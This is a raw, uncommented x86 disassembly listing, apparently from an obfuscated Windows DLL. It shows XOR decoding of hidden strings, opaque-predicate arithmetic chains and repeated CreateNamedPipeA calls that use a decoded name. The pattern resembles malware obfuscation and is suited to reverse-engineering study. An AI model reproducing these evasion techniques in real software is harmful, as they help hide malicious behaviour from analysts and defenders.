mov byte [0x1013a250], cl
mov cl, byte [0x1013a231]
xor cl, 5
mov byte [0x1013a252], cl
mov cl, byte [0x1013a232]
xor cl, 0x89
mov byte [0x1013a253], cl
mov cl, byte [0x1013a233]
xor cl, 0x70
mov byte [0x1013a254], cl
mov cl, byte [0x1013a234]
xor cl, 0x71
mov byte [0x1013a255], cl
mov cl, byte [0x1013a235]
xor cl, 0xf4
mov byte [0x1013a256], cl
mov cl, byte [0x1013a236]
xor cl, 0x4e
mov byte [0x1013a257], cl
mov cl, byte [0x1013a237]
xor cl, 0x27
mov byte [0x1013a258], cl
mov cl, byte [0x1013a238]
xor cl, 0x8c
mov byte [0x1013a259], cl
mov cl, byte [0x1013a239]
xor cl, 0x99
mov byte [0x1013a25a], cl
mov cl, byte [0x1013a23a]
xor cl, 0x36
mov byte [0x1013a25b], cl
mov cl, byte [0x1013a23b]
xor cl, 0xcc
mov byte [0x1013a25c], cl
mov cl, byte [0x1013a23c]
xor cl, 0x72
mov byte [0x1013a25d], cl
mov cl, byte [0x1013a23d]
xor cl, 0x55
mov byte [0x1013a25e], cl
mov cl, byte [0x1013a23e]
xor cl, 0x83
mov byte [0x1013a25f], cl
mov cl, byte [0x1013a23f]
xor cl, 0xa5
mov byte [str._s_r_dGAs], cl
mov cl, byte [0x1013a240]
xor cl, 0x5a
mov byte [0x1013a261], cl
mov cl, byte [0x1013a241]
xor cl, 0xf5
mov byte [0x1013a263], cl
mov cl, byte [0x1013a242]
xor cl, 0x20
mov byte [0x1013a264], cl
mov cl, byte [0x1013a243]
xor cl, 0x53
mov byte [0x1013a265], cl
mov cl, byte [0x1013a244]
xor cl, 0x88
mov byte [0x1013a266], cl
mov cl, byte [0x1013a245]
xor cl, 0x12
mov byte [0x1013a267], cl
mov cl, byte [0x1013a246]
xor cl, 0xa2
mov byte [0x1013a269], cl
mov cl, byte [0x1013a247]
xor cl, 5
mov byte [0x1013a26a], cl
mov cl, byte [0x1013a248]
xor cl, 0x1d
mov byte [0x1013a26b], cl
mov cl, byte [0x1013a270]
xor cl, 0xd6
mov byte [0x1013a290], cl
mov cl, byte [0x1013a271]
xor cl, 0x53
mov byte [0x1013a291], cl
mov cl, byte [0x1013a272]
xor cl, 0x79
mov byte [0x1013a292], cl
mov cl, byte [0x1013a273]
xor cl, 0xa4
mov byte [0x1013a293], cl
mov cl, byte [0x1013a274]
xor cl, 0xb7
mov byte [0x1013a295], cl
mov cl, byte [0x1013a275]
xor cl, 0xe6
mov byte [0x1013a296], cl
mov cl, byte [0x1013a276]
xor cl, 0xf1
mov byte [0x1013a297], cl
mov cl, byte [0x1013a277]
xor cl, 0x1e
mov byte [0x1013a298], cl
mov cl, byte [0x1013a278]
xor cl, 0x9c
mov byte [0x1013a299], cl
mov cl, byte [0x1013a279]
xor cl, 0xbe
mov byte [0x1013a29a], cl
mov cl, byte [0x1013a27a]
xor cl, 0xe8
mov byte [0x1013a29b], cl
mov cl, byte [0x1013a27b]
xor cl, 0x1b
mov byte [0x1013a29c], cl
mov cl, byte [0x1013a27c]
xor cl, 0x4e
mov byte [0x1013a29d], cl
mov cl, byte [0x1013a27d]
xor cl, 0x72
mov byte [str.F_8ws], cl
mov cl, byte [0x1013a27e]
xor cl, 0xed
mov byte [0x1013a29f], cl
mov cl, byte [0x1013a27f]
xor cl, 0x73
mov byte [0x1013a2a0], cl
mov cl, byte [0x1013a280]
xor cl, 0x34
mov byte [0x1013a2a3], cl
mov cl, byte [0x1013a281]
xor cl, 0xbe
mov byte [0x1013a2a4], cl
mov cl, byte [0x1013a282]
xor cl, 0xe2
mov byte [0x1013a2a5], cl
mov cl, byte [0x1013a283]
xor cl, 0x4a
mov byte [0x1013a2a7], cl
mov cl, byte [0x1013a284]
xor cl, 0xdd
mov byte [0x1013a2a8], cl
mov cl, byte [0x1013a285]
xor cl, 0x90
mov byte [str.rFL], cl
mov cl, byte [0x1013a286]
xor cl, 0xf4
mov byte [0x1013a2aa], cl
mov cl, byte [0x1013a287]
xor cl, 9
mov byte [0x1013a2ab], cl
mov cl, byte [0x1013a288]
xor cl, 0x12
mov byte [0x1013a2ac], cl
cmp eax, 0x8efa6ee1
je 0x100bbe48
jmp 0x100ba59d
mov dword [0x10146e74], 1
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x20
mov ecx, esp
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x30], eax
lea eax, [0x1013a290]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1d
call fcn.100e61f0
mov ecx, dword [ebp - 0x30]
add esp, 0xc
lea eax, [0x1013a250]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.100e61f0
mov dword [esp], 0xc
mov dword [esp + 4], 0x1a
mov dword [esp + 8], 0x2e
call fcn.1005a0c0
add esp, 0xc
mov eax, dword [ebp - 0x30]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax], ecx
jmp 0x100ba997
mov eax, dword [0x10144004]
add eax, dword [0x10144008]
xor eax, 0xbbae3f3
and eax, 0xc90c122
xor eax, 0x3a176199
add eax, 0x51575cf0
or eax, 0x2081cefd
sub eax, 0xa4e3e09f
and eax, 0xee922d9b
or eax, 0x135e63eb
imul eax, eax, 0x3f8ff6ea
add eax, 0x9c164efd
sub eax, 0xa17f6f92
and eax, 0x12c47315
mov ecx, 0x732bef0a
xor edx, edx
div ecx
imul eax, eax, 0xad478e85
imul eax, eax, 0x29371672
or eax, 0xc36baa02
and eax, 0x99698cc3
xor eax, 0x25cf9279
sub eax, 0xf18eb6b2
add eax, 0x844eeca0
cmp eax, 0xf58e93a9
ja 0x100bc0a5
mov ecx, dword [ebp - 0x24]
mov eax, dword [0x1014400c]
sub eax, dword [0x10144010]
add eax, 0x95048e88
imul eax, eax, 0xdb28c31f
or eax, 0x9deda646
xor eax, 0x249a68b
sub eax, 0x8ddf931f
imul eax, eax, 0x6fb4c62c
add eax, 0x902a4ce6
mov esi, 0xa6c5d843
xor edx, edx
div esi
or eax, 0x62b82a31
sub eax, 0x73ff0318
or eax, 0xdc36b1e3
mov esi, 0xf305146f
xor edx, edx
div esi
xor eax, 0xfe2b9468
xor eax, 0xd1947757
xor eax, 0x3fb7b94
add eax, 0xfc677748
or eax, 0xf47370af
imul eax, eax, 0xc463d7c0
add eax, 0x8585f9ad
xor eax, 0x6368728f
mov dword [ecx], 1
cmp eax, 0xedd881fd
je 0x100bc0a5
jmp 0x100bb00e
mov eax, dword [0x10144014]
and eax, dword [0x10144018]
or eax, 0xc4ec5d62
and eax, 0x5d124722
xor eax, 0xa4e3da84
sub eax, 0x39e538d4
sub eax, 0x2f365a5f
imul eax, eax, 0xa92d3b8
or eax, 0x5d5013f2
xor eax, 0xf3fcd326
mov ecx, 0xaf090dd0
xor edx, edx
div ecx
mov ecx, 0x2ca00986
xor edx, edx
div ecx
or eax, 0x544b493d
xor eax, 0x2e0b0343
and eax, 0x6963119b
mov ecx, 0x561f39cc
xor edx, edx
div ecx
or eax, 0xfa891315
or eax, 0x93a8046a
imul eax, eax, 0xb974cdb1
or eax, 0x3a2cce6b
add eax, 0x45da0e76
xor eax, 0xa3746cae
cmp eax, 0x3d9bbe55
jb 0x100bc0b3
mov ecx, dword [ebp - 0x24]
mov eax, dword [0x1014401c]
add eax, dword [0x10144020]
mov esi, 0x7be4512d
xor edx, edx
div esi
add eax, 0x31191c8d
xor eax, 0x512e30f5
and eax, 0xcd45bc92
imul eax, eax, 0x535bd09d
add eax, 0x9b89f6ce
and eax, 0xfc023df7
xor eax, 0x30d85e7
add eax, 0x8d809f98
mov esi, 0x32e610d5
xor edx, edx
div esi
mov esi, 0x674191f2
xor edx, edx
div esi
add eax, 0xbc95e98a
add eax, 0x784afc7d
sub eax, 0xe1cd9a83
and eax, 0xcfcdcd0c
imul eax, eax, 0x660b8387
add eax, 0xa9b3e414
and eax, 0x99f1f80e
or eax, 0xa01fc8a5
or eax, 0xff08d09
mov dword [ecx], 0
cmp eax, 0xeb81178f
jae 0x100bbc9b
jmp 0x100bb351
mov eax, dword [0x10146e74]
jmp 0x100ba36c
jmp 0x100ba496
mov dword [0x10146e74], 1
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
sub esp, 0x20
mov ecx, esp
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x38], eax
lea eax, [0x1013a290]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1d
call fcn.100e61f0
mov ecx, dword [ebp - 0x38]
add esp, 0xc
lea eax, [0x1013a250]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.100e61f0
mov dword [esp], 0xc
mov dword [esp + 4], 0x1a
mov dword [esp + 8], 0x2e
call fcn.1005a0c0
add esp, 0xc
mov eax, dword [ebp - 0x38]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0x34]
mov dword [eax], ecx
jmp 0x100baa27
jmp 0x100bac36
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x100bad54
jmp 0x100baefe
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x100bb09e
jmp 0x100bb23e
jmp 0x100bb46c
jmp 0x100bb581
mov al, byte [0x1013a230]
xor al, 0xa6
mov byte [0x1013a250], al
mov al, byte [0x1013a231]
xor al, 5
mov byte [0x1013a252], al
mov al, byte [0x1013a232]
xor al, 0x89
mov byte [0x1013a253], al
mov al, byte [0x1013a233]
xor al, 0x70
mov byte [0x1013a254], al
mov al, byte [0x1013a234]
xor al, 0x71
mov byte [0x1013a255], al
mov al, byte [0x1013a235]
xor al, 0xf4
mov byte [0x1013a256], al
mov al, byte [0x1013a236]
xor al, 0x4e
mov byte [0x1013a257], al
mov al, byte [0x1013a237]
xor al, 0x27
mov byte [0x1013a258], al
mov al, byte [0x1013a238]
xor al, 0x8c
mov byte [0x1013a259], al
mov al, byte [0x1013a239]
xor al, 0x99
mov byte [0x1013a25a], al
mov al, byte [0x1013a23a]
xor al, 0x36
mov byte [0x1013a25b], al
mov al, byte [0x1013a23b]
xor al, 0xcc
mov byte [0x1013a25c], al
mov al, byte [0x1013a23c]
xor al, 0x72
mov byte [0x1013a25d], al
mov al, byte [0x1013a23d]
xor al, 0x55
mov byte [0x1013a25e], al
mov al, byte [0x1013a23e]
xor al, 0x83
mov byte [0x1013a25f], al
mov al, byte [0x1013a23f]
xor al, 0xa5
mov byte [str._s_r_dGAs], al
mov al, byte [0x1013a240]
xor al, 0x5a
mov byte [0x1013a261], al
mov al, byte [0x1013a241]
xor al, 0xf5
mov byte [0x1013a263], al
mov al, byte [0x1013a242]
xor al, 0x20
mov byte [0x1013a264], al
mov al, byte [0x1013a243]
xor al, 0x53
mov byte [0x1013a265], al
mov al, byte [0x1013a244]
xor al, 0x88
mov byte [0x1013a266], al
mov al, byte [0x1013a245]
xor al, 0x12
mov byte [0x1013a267], al
mov al, byte [0x1013a246]
xor al, 0xa2
mov byte [0x1013a269], al
mov al, byte [0x1013a247]
xor al, 5
mov byte [0x1013a26a], al
mov al, byte [0x1013a248]
xor al, 0x1d
mov byte [0x1013a26b], al
mov al, byte [0x1013a270]
xor al, 0xd6
mov byte [0x1013a290], al
mov al, byte [0x1013a271]
xor al, 0x53
mov byte [0x1013a291], al
mov al, byte [0x1013a272]
xor al, 0x79
mov byte [0x1013a292], al
mov al, byte [0x1013a273]
xor al, 0xa4
mov byte [0x1013a293], al
mov al, byte [0x1013a274]
xor al, 0xb7
mov byte [0x1013a295], al
mov al, byte [0x1013a275]
xor al, 0xe6
mov byte [0x1013a296], al
mov al, byte [0x1013a276]
xor al, 0xf1
mov byte [0x1013a297], al
mov al, byte [0x1013a277]
xor al, 0x1e
mov byte [0x1013a298], al
mov al, byte [0x1013a278]
xor al, 0x9c
mov byte [0x1013a299], al
mov al, byte [0x1013a279]
xor al, 0xbe
mov byte [0x1013a29a], al
mov al, byte [0x1013a27a]
xor al, 0xe8
mov byte [0x1013a29b], al
mov al, byte [0x1013a27b]
xor al, 0x1b
mov byte [0x1013a29c], al
mov al, byte [0x1013a27c]
xor al, 0x4e
mov byte [0x1013a29d], al
mov al, byte [0x1013a27d]
xor al, 0x72
mov byte [str.F_8ws], al
mov al, byte [0x1013a27e]
xor al, 0xed
mov byte [0x1013a29f], al
mov al, byte [0x1013a27f]
xor al, 0x73
mov byte [0x1013a2a0], al
mov al, byte [0x1013a280]
xor al, 0x34
mov byte [0x1013a2a3], al
mov al, byte [0x1013a281]
xor al, 0xbe
mov byte [0x1013a2a4], al
mov al, byte [0x1013a282]
xor al, 0xe2
mov byte [0x1013a2a5], al
mov al, byte [0x1013a283]
xor al, 0x4a
mov byte [0x1013a2a7], al
mov al, byte [0x1013a284]
xor al, 0xdd
mov byte [0x1013a2a8], al
mov al, byte [0x1013a285]
xor al, 0x90
mov byte [str.rFL], al
mov al, byte [0x1013a286]
xor al, 0xf4
mov byte [0x1013a2aa], al
mov al, byte [0x1013a287]
xor al, 9
mov byte [0x1013a2ab], al
mov al, byte [0x1013a288]
xor al, 0x12
mov byte [0x1013a2ac], al
jmp 0x100bb6b8
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x100bbb80
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
jmp 0x100bbc9b